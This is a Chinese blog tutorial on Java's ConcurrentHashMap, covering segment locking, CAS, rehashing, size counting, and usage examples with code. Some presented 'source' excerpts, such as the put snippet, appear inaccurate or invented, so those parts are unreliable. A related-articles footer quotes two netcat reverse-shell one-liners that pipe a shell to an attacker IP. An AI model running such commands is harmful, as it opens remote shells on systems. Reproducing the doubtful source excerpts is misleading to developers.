深入理解Java中的ConcurrentHashMap:原理与实践

文章目录

    • 1. ConcurrentHashMap简介
    • 2. 分段锁原理
    • 3. CAS操作原理
    • 4. 扩容机制原理
    • 5. 近似计数原理
    • 6. 并发操作方法
    • 7. 遍历ConcurrentHashMap
    • 8. 扩展方法介绍
    • 9. 并发性能分析
    • 10. 局限性与适用场景
    • 11. 总结

本文详细解析了Java中线程安全的HashMap实现——ConcurrentHashMap的工作原理。通过深入分析其内部源码,我们阐述了ConcurrentHashMap如何利用分段锁、CAS操作、扩容机制、近似计数等技术实现高并发和线程安全。同时,我们还提供了一些实际的使用示例,帮助读者更好地理解和掌握ConcurrentHashMap的使用方法。通过本文,读者可以深入理解并发编程的复杂性和挑战,以及如何使用ConcurrentHashMap等工具来应对这些挑战。

1. ConcurrentHashMap简介

ConcurrentHashMap是Java中提供的一个线程安全的HashMap实现,它采用分段锁和CAS(Compare and Swap)操作等技术来实现高并发和线程安全。下面我们结合ConcurrentHashMap的内部源码解释分段锁、CAS操作、扩容机制、近似计数等技术如何实现的。

2. 分段锁原理

ConcurrentHashMap的内部结构是由多个Segment组成的数组。每个Segment独立维护一个HashEntry数组,并拥有一个独立的锁(ReentrantLock)。这样,在进行操作时,只需要锁定对应的Segment,而不需要锁定整个Map。这种分段锁的机制有效地减小了锁的粒度,提高了并发性能。

源码中的Segment定义如下:

static final class Segment<K,V> extends ReentrantLock implements Serializable {private static final long serialVersionUID = 2249069246763182397L;// HashEntry 数组transient volatile HashEntry<K,V>[] table;// ...
}

3. CAS操作原理

ConcurrentHashMap使用CAS(Compare and Swap)操作来实现无锁的并发更新。在进行插入、删除和替换操作时,ConcurrentHashMap会尝试使用CAS操作来更新HashEntry数组,从而避免锁的开销。

源码中的HashEntry定义如下:

static final class HashEntry<K,V> {final K key;final int hash;volatile V value;final HashEntry<K,V> next;
}

在ConcurrentHashMap的源码中,更新操作使用了Unsafe类提供的CAS方法,例如compareAndSwapObject()和compareAndSwapInt()等。这些方法可以实现无锁的原子更新,提高并发性能。

例如,在put操作中,ConcurrentHashMap使用CAS更新HashEntry的value:

if (!onlyIfAbsent || oldValue == null) {V v = value;if (c.value != v) { // 保证原子性if (chm.casValue(hash, key, e, v, oldValue))return oldValue;}
}

4. 扩容机制原理

当ConcurrentHashMap的某个Segment的填充程度超过阈值时,为了保持性能,ConcurrentHashMap会对该Segment进行扩容。扩容操作涉及创建一个新的、更大的HashEntry数组,并将旧数组中的所有键值对重新插入到新数组中。这个过程称为“rehashing”。

源码中的扩容操作如下:

void rehash() {HashEntry<K,V>[] oldTable = table;int oldCapacity = oldTable.length;if (oldCapacity >= MAXIMUM_CAPACITY)return;HashEntry<K,V>[] newTable = (HashEntry<K,V>[]) new HashEntry[oldCapacity << 1];threshold = (int)(newTable.length * loadFactor);int sizeMask = newTable.length - 1;for (int i = 0; i < oldCapacity ; i++) {// rehash}table = newTable;
}

5. 近似计数原理

ConcurrentHashMap提供了一些用于统计的方法,如size()、isEmpty()等。这些方法在ConcurrentHashMap的实现中,采用了一种近似计算的策略。由于ConcurrentHashMap是高并发的,要精确地计算元素个数会带来很大的性能开销。因此,ConcurrentHashMap允许这些统计方法返回一个近似值,从而在保持性能的同时,还能提供一定程度的准确性。

源码中的近似计数方法如下:

public int size() {final Segment<K,V>[] segments = this.segments;long sum = 0L; // 使用 long 类型避免溢出long check = 0;int[] mc = new int[segments.length];// 重试for (int k = 0; k < 2; k++) {check = 0;sum = 0;int mcsum = 0;for (int i = 0; i < segments.length; ++i) {sum += segments[i].count;mcsum += (mc[i] = segments[i].modCount);}// 检查是否有正在进行的写操作for (int i = 0; i < segments.length; ++i) {check += segments[i].count;if (mc[i] != segments[i].modCount) {check = -1; // 发现写操作,需要重新计算break;}}if (check == sum)break;}if (check != sum) { // 如果检查失败,尝试使用锁进行精确计数sum = 0;for (Segment<K,V> segment : segments) {segment.lock();try {sum += segment.count;} finally {segment.unlock();}}}// 防止溢出if (sum > Integer.MAX_VALUE)return Integer.MAX_VALUE;elsereturn (int)sum;
}

在这个方法中,ConcurrentHashMap会尝试两次计算元素个数。如果两次计算的结果一致,那么返回这个结果;如果不一致,说明有写操作正在进行,此时会使用锁进行精确计数。这种策略在保持性能的同时,还能提供一定程度的准确性。

6. 并发操作方法

ConcurrentHashMap提供了一些用于并发操作的方法,如putIfAbsent()、replace()、remove()等。这些方法可以在一个原子操作中完成检查和更新,从而避免多线程环境下的竞争条件。

例如,下面的代码展示了使用putIfAbsent()方法来实现一个线程安全的缓存:

import java.util.concurrent.ConcurrentHashMap;public class Cache {private ConcurrentHashMap<String, Object> cache = new ConcurrentHashMap<>();public Object get(String key) {return cache.get(key);}public void putIfAbsent(String key, Object value) {cache.putIfAbsent(key, value);}
}

在这个示例中,我们创建了一个Cache类,它使用ConcurrentHashMap来存储缓存数据。当我们需要添加一个键值对时,可以使用putIfAbsent()方法,这个方法会在键不存在时才添加键值对,从而避免覆盖已存在的值。

7. 遍历ConcurrentHashMap

ConcurrentHashMap的遍历操作也是线程安全的。它提供了keySet、values和entrySet等方法,可以返回Map的键集、值集或键值对集。这些方法返回的集合是ConcurrentHashMap的视图,它们会反映ConcurrentHashMap的实时状态。也就是说,你在遍历这些集合的过程中,其他线程对ConcurrentHashMap的修改操作是可见的。

例如,下面的代码展示了如何遍历ConcurrentHashMap:

import java.util.concurrent.ConcurrentHashMap;public class ConcurrentHashMapExample {public static void main(String[] args) {ConcurrentHashMap<String, Integer> map = new ConcurrentHashMap<>();// 添加键值对map.put("one", 1);map.put("two", 2);map.put("three", 3);// 遍历ConcurrentHashMapfor (String key : map.keySet()) {System.out.println("Key: " + key + ", Value: " + map.get(key));}}
}

在这个示例中,我们创建了一个ConcurrentHashMap实例,然后使用put方法添加了一些键值对,最后使用for-each循环遍历了整个ConcurrentHashMap。这个遍历操作是线程安全的,即使在遍历过程中有其他线程修改ConcurrentHashMap,也不会抛出ConcurrentModificationException。

8. 扩展方法介绍

ConcurrentHashMap还提供了一些并发编程中常用的扩展方法,如compute、merge等。这些方法可以在一个原子操作中完成复杂的更新逻辑,从而避免多线程环境下的竞争条件。

例如,下面的代码展示了使用compute方法来实现一个线程安全的计数器:

import java.util.concurrent.ConcurrentHashMap;public class Counter {private ConcurrentHashMap<String, Integer> map = new ConcurrentHashMap<>();public void increment(String key) {map.compute(key, (k, v) -> (v == null) ? 1 : v + 1);}public int getCount(String key) {return map.getOrDefault(key, 0);}
}

在这个示例中,我们创建了一个Counter类,它使用ConcurrentHashMap来存储计数数据。当我们需要增加一个键的计数时,可以使用compute方法,这个方法会在键存在时增加计数,否则初始化计数为1。

9. 并发性能分析

由于ConcurrentHashMap采用了分段锁和CAS操作等技术,它在高并发环境下具有很好的性能。相比于同步的HashMap(如Hashtable或使用Collections.synchronizedMap包装的HashMap),ConcurrentHashMap在读操作上几乎没有锁的开销,在写操作上也只需要锁定部分段,因此并发性能更高。

然而,ConcurrentHashMap并不是万能的。在数据量较小或并发访问较低的情况下,简单的HashMap可能会更快。此外,ConcurrentHashMap也不能保证所有操作的全局有序性。如果需要全局有序性,可以考虑使用同步的Map实现,或者使用锁和其他同步工具来协调并发操作。

10. 局限性与适用场景

虽然ConcurrentHashMap在并发环境下提供了很好的性能,但它也有一些局限性。首先,ConcurrentHashMap的所有操作都是线程安全的,但如果你需要执行复合操作(例如,先检查一个键是否存在,然后根据结果进行更新操作),那么就需要额外的同步措施来保证这些操作的原子性。因为在两个操作之间,可能有其他线程修改了ConcurrentHashMap的状态。

其次,ConcurrentHashMap的size方法和isEmpty方法返回的结果是近似的,它们可能不会立即反映其他线程的修改操作。这是因为为了提高性能,ConcurrentHashMap没有使用全局锁来同步这些方法。

最后,虽然ConcurrentHashMap的并发性能很好,但如果你的应用场景中读操作远多于写操作,那么使用Read-Write Locks可能会获得更好的性能。Read-Write Locks允许多个线程同时读,但只允许一个线程写,这对于读多写少的场景是非常有效的。

11. 总结

总之,ConcurrentHashMap是Java中提供的一个高性能、线程安全的HashMap实现。它采用了分段锁、CAS操作、扩容机制、近似计数等技术,实现了高并发和线程安全。在需要处理并发访问的场景中,ConcurrentHashMap是一个非常实用的工具。通过熟练掌握ConcurrentHashMap的原理和用法,我们可以更好地应对复杂的并发编程挑战。

在实际应用中,我们需要根据具体的场景和需求来选择合适的数据结构。如果需要高并发访问和更新,那么ConcurrentHashMap是一个很好的选择。然而,如果数据量较小或并发访问较低,简单的HashMap可能会更快。此外,如果需要全局有序性,可以考虑使用同步的Map实现,或者使用锁和其他同步工具来协调并发操作。

通过阅读本文,我们希望读者能够更深入地理解并发编程的复杂性和挑战,以及如何使用ConcurrentHashMap等工具来应对这些挑战。这将有助于我们在实际工作中更好地解决问题,提高程序的性能和可靠性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826791.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一&#xff0c;与HTML和CSS一同工作&#xff0c;用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性&#xff0c;可以进行…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

Jupyter的下载与安装

1.下载&#xff1a; 在anaconda的指定环境中 conda install nb_conda_kernels 2.打开 在anaconda指定环境中使用命令&#xff1a; jupyter notebook 3.输入指令后&#xff0c;会显示如下&#xff0c;根据显示地址打开 3. 在右边的new按钮处&#xff0c;选择相应环境&…

Redis中的慢查询日志(一)

慢查询日志 概述 Redis的慢查询日志功能用于记录执行时间超过给定时长的命令请求&#xff0c;用户可以通过这个功能产生的日志来 监视和优化查询速度。服务器配置有两个和慢查询日志相关的选项: 1.slowlog-log-slower-than选项指定执行时间超过多少微妙(1秒1000 000微妙)的命…

Sulley入门教学——简介、安装(Win7、VMware)

1、简介 Sulley 是由 Pedram Amini 和 Aaron Portnoy 开发的开源工具。它以 Python 编写&#xff0c;可以轻松地在不同平台上部署和使用。Sulley 提供了一个灵活且功能强大的框架&#xff0c;允许用户定义协议消息的结构、字段类型、边界条件和模糊测试策略。用户可以使用 Sul…

【Redis】List 数据类型

文章目录 常用命令lpush & lpushxrpush & rpushxlrange & lpop & rpoplindex & linsertllen 阻塞版本的命令内部编码 列表类型是⽤来存储多个有序的字符串&#xff0c;⼀个列表最多可以存储 2^32 - 1 个元素&#xff0c;允许有重复的元素。 列表在两端都可…

MongoDB与MySQL的区别???MongoDB的优势???

MongoDB是一种开源的文档型数据库管理系统&#xff0c;它使用类似于JSON的BSON格式&#xff08;Binary JSON&#xff09;来存储数据。与传统关系型数据库不同&#xff0c;MongoDB不使用表和行的结构&#xff0c;而是采用集合&#xff08;Collection&#xff09;(Mysql表)和文档…

Qt基础之四十六:Qt界面中嵌入第三方程序的一点心得

本文主要讲解QWidget和QWindow的区别,以及如何在QWidget中嵌入第三方程序,并完美解决在QWidget中嵌入某些程序(比如Qt程序)时出现的白边问题。 下面是嵌入QQ音乐的样子,这首歌还不错。 先用spy++查看QQ音乐的窗口信息,如果安装了Visual Studio,工具菜单里自带spy++ 然后…

总分420+专业140+哈工大哈尔滨工业大学803信号与系统和数字逻辑电路考研电子信息与通信工程,真题,大纲,参考书。

考研复习一路走来&#xff0c;成绩还是令人满意&#xff0c;专业803信号和数电140&#xff0c;总分420&#xff0c;顺利上岸&#xff0c;总结一下自己这一年复习经历&#xff0c;希望大家可以所有参考&#xff0c;这一年复习跌跌拌拌&#xff0c;有时面对压力也会焦虑&#xff…

Mac电池管理软件 Batteries for Mac v2.2.9直装版

Batteries for Mac&#xff0c;作为一款专为Mac用户设计的电池管理软件&#xff0c;以其强大的功能和智能的监测机制&#xff0c;为用户提供了便捷、高效的电池使用体验。 Batteries for Mac(Mac电池)v2.2.9直装版下载 首先&#xff0c;Batteries for Mac具备实时电池监测功能&…

【动态规划 状态机dp 性能优化】3098. 求出所有子序列的能量和

本文涉及知识点 动态规划 状态机dp 性能优化 LeetCode3098. 求出所有子序列的能量和 给你一个长度为 n 的整数数组 nums 和一个 正 整数 k 。 一个子序列的 能量 定义为子序列中 任意 两个元素的差值绝对值的 最小值 。 请你返回 nums 中长度 等于 k 的 所有 子序列的 能量和…

【Pytorch】Yolov5中CPU转GPU过程报错完善留档归纳

Yolov5 从CPU转GPU Python多版本切换 Conda包处理 文章目录 Yolov5 从CPU转GPU Python多版本切换 Conda包处理1.Pytorch套件中存在版本不匹配2.numpy停留在3.8没跟上pytorch2.2.23.ModuleNotFoundError: No module named pandas._libs.interval4.ImportError: cannot imp…

Windows使用freeSSHd搭建sftp服务器

一、安装 1、运行freeSSHd.exe&#xff08;最好以管理员方式运行&#xff09; 2、选择安装位置 3、选择全部安装 4、是否创建开始启动栏快捷入口 5、是否创建桌面快捷方式 6、安装 7、安装完成&#xff0c;点击close 8、安装私钥 9、是否要安装为服务 10、全部安装完成 二、配…

Android - OkHttp 访问 https 的怪问题

一、简述 最近使用 OkHttp 访问 https 请求时,在个别 Android 设备上遇到了几个问题,搜罗网上资料,经过一番实践后,问题得到了解决,同时,我也同步升级了我的 https 证书忽略库 ANoSSL ,在此,对搜集到的资料和问题解决方案做个记录。 文章中的代码实现可到 GitHub 仓库…

Git 新手快速入门教程

一、什么是 Git 1. 何为版本控制 版本控制是一种记录文件变化的系统&#xff0c;可以跟踪文件的修改历史&#xff0c;并允许用户在不同版本之间进行比较、恢复或合并。它主要用于软件开发过程中管理代码的变更&#xff0c;但也可以应用于任何需要跟踪文件变更的场景。 版本控…

第七周笔记

实现实时通知和消息推送 通过实现实时通知和消息推送功能&#xff0c;可以让用户及时获得新的博客发布、评论回复等重要信息。你可以使用 WebSocket 技术或者第三方服务&#xff0c;如 Firebase Cloud Messaging&#xff08;FCM&#xff09;来实现。 // WebSocket 实时通知 c…

【电路笔记】-LC 振荡器基础知识

LC 振荡器基础知识 文章目录 LC 振荡器基础知识1、概述2、振荡器谐振3、阻尼振荡3、基本晶体管LC振荡器电路5、LC 振荡器示例16、总结1、概述 振荡器是以精确频率生成连续周期性波形的电子电路。 LC 振荡器将直流输入(电源电压)转换为交流输出(波形)。 该输出波形可以具有…

Django老项目升级到新版本

手上有个 Django 老项目&#xff0c;一直跑得好好的&#xff0c;好几年没动过了&#xff0c;维护费收得正爽&#xff0c;没想到客户来了个新的运营人员&#xff0c;丢了个改动需求过来。我一看也没啥大改&#xff0c;就答应了。大意了。 问题 刚开始改&#xff0c;我这种老鸟…

playwright基础

目录 1、为什么使用playwright? 1.1、跨浏览器和平台 1.2、稳定性 1.3、运行机制

ROS机器人实战,对标古月老师HRMRP机器人(一)——机器人总体方案设计

咳咳&#xff01;这个是自己的毕业设计&#xff0c;内容比较多就拆开发。设计实现了一款SLAM移动机器人&#xff0c;加机械臂完成视觉识别抓取的&#xff0c;同时还有语音识别控制、QT上位机控制、Web网页控制。前几年看古月老师的视频&#xff0c;看到古月老师设计的HRMRP&…